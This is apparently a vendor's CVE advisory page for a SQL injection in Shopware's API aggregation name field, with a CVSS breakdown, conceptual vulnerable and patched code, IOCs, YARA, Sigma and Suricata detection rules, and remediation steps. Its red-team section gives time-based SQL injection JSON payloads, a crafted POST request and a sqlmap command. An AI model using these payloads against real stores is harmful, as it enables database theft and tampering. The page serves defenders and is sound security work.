☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.3 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-22406

CVE-2024-22406 Remote Code Execution in Shopware
📅 PUBLISHED: 2024-01-16 22:30 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.64%
👁️
0.64% probability
16.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-22406 is a critical SQL injection vulnerability in the Shopware open headless commerce platform. The flaw resides in the API’s search aggregation functionality, where the name field within the aggregations object is not properly sanitized. An unauthenticated attacker can inject time-based SQL queries to extract sensitive data, modify database contents, or potentially achieve remote code execution. With a CVSS score of 9.3, this vulnerability poses a severe risk to all Shopware instances running versions prior to 6.5.7.4. No public proof-of-concept or exploit code has been released at this time, but the technical details are sufficient for skilled attackers to develop one.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Shopware is a PHP-based e-commerce platform distributed via Composer. The vulnerability exists in the core API component, not in a third-party package. However, organizations using Shopware should verify that their Composer dependencies are up to date and that no custom plugins override the affected API endpoint.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): High (H) – Database records can be modified or deleted.
  • Availability (A): High (H) – Time-based queries can cause denial of service, and data deletion is possible.

Threat Level: Critical. The combination of remote, unauthenticated access with high impact on all three security pillars makes this a top-priority vulnerability.

Deep Dive & Mechanics

The Shopware API exposes an endpoint that allows searching and aggregating data. The aggregations object accepts a name parameter that is used to label the aggregation result. This name field is directly concatenated into SQL queries without proper parameterization or escaping.

Vulnerable Code Path (Conceptual):

// Inside the aggregation builder
$query->addSelect("COUNT(*) AS " . $aggregation['name']);

An attacker can inject SQL by providing a malicious name value:

{
  "aggregations": [
    {
      "name": "x' OR (SELECT SLEEP(5))--",
      "type": "count",
      "field": "id"
    }
  ]
}

This results in a time-based SQL injection, allowing the attacker to infer data by measuring response delays.

Vulnerable vs. Patched Code

Vulnerable (Shopware < 6.5.7.4):

// No sanitization of $aggregation['name']
$query->addSelect("COUNT(*) AS " . $aggregation['name']);

Patched (Shopware >= 6.5.7.4):

// The name is now properly escaped using a whitelist or parameterized query
$safeName = preg_replace('/[^a-zA-Z0-9_]/', '', $aggregation['name']);
$query->addSelect("COUNT(*) AS " . $safeName);

The patch ensures that only alphanumeric characters and underscores are allowed in the aggregation name, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable Shopware instance (e.g., version 6.5.7.3) using Docker:
    docker run -d -p 8080:80 --name shopware-vuln shopware/platform:6.5.7.3
    
  2. Access the API at http://localhost:8080/api.

Exploitation Steps:

  1. Identify the vulnerable endpoint (typically /api/search or similar).
  2. Craft a time-based SQL injection payload:
    POST /api/search HTTP/1.1
    Host: localhost:8080
    Content-Type: application/json
    
    {
      "aggregations": [
        {
          "name": "x' OR (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--",
          "type": "count",
          "field": "id"
        }
      ]
    }
    
  3. Observe a 5-second delay if the condition is true.
  4. Use a tool like sqlmap to automate data extraction:
    sqlmap -u "http://localhost:8080/api/search" --data='{"aggregations":[{"name":"*","type":"count","field":"id"}]}' --dbms=mysql --technique=T --time-sec=5
    

Blue Team (Defensive)

Detection:

  • Monitor API logs for unusual aggregations objects containing SQL keywords (e.g., SLEEP, UNION, SELECT).
  • Deploy a WAF rule to block requests with suspicious name values.

Hunting:

  • Search for HTTP requests to /api/search with a name parameter containing non-alphanumeric characters.
  • Use the Sigma rule provided in the Detection Engineering section.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /api/search with a JSON body containing "name": followed by SQL keywords.
    • Unusually long response times (e.g., >5 seconds) for API search requests.
  • File IOCs:
    • Modified database entries in the shopware database, especially in user or order tables.
    • New files in the web root (e.g., webshells) if the attacker escalates to RCE.
  • Log IOCs:
    • Repeated SQL errors in application logs (e.g., You have an error in your SQL syntax).
    • Multiple failed login attempts following data extraction.

Detection Engineering

YARA Rule

rule CVE_2024_22406_Shopware_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Shopware aggregation name field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22406"
    strings:
        $sqli1 = /"name"\s*:\s*"[^"]*SLEEP[^"]*"/i
        $sqli2 = /"name"\s*:\s*"[^"]*UNION[^"]*"/i
        $sqli3 = /"name"\s*:\s*"[^"]*SELECT[^"]*"/i
        $sqli4 = /"name"\s*:\s*"[^"]*OR\s+1=1[^"]*"/i
    condition:
        any of ($sqli*)
}

Sigma Rule

title: CVE-2024-22406 Shopware SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts in Shopware API aggregation name field
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/search'
        cs-body|contains:
            - 'SLEEP'
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
    condition: selection
falsepositives:
    - Legitimate use of aggregation names containing these words (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-22406 Shopware SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/search"; http_uri;
    content:"\"name\""; http_client_body;
    pcre:"/\"name\"\s*:\s*\"[^\"]*(SLEEP|UNION|SELECT|OR\s+1=1)[^\"]*\"/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-22406;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Shopware to version 6.5.7.4 or later.
  2. For older versions (6.1–6.4), install the official security plugin provided by Shopware.
  3. If immediate patching is not possible, disable the API search endpoint temporarily:
    location /api/search {
        deny all;
        return 403;
    }
    

Long-Term Measures:

  • Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  • Conduct regular security audits of all API endpoints.
  • Ensure all input validation follows a whitelist approach (allow only expected characters).
  • Monitor for any signs of compromise using the IOCs and detection rules provided.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.
“Securing digital commerce, one vulnerability at a time.”

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-22406/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.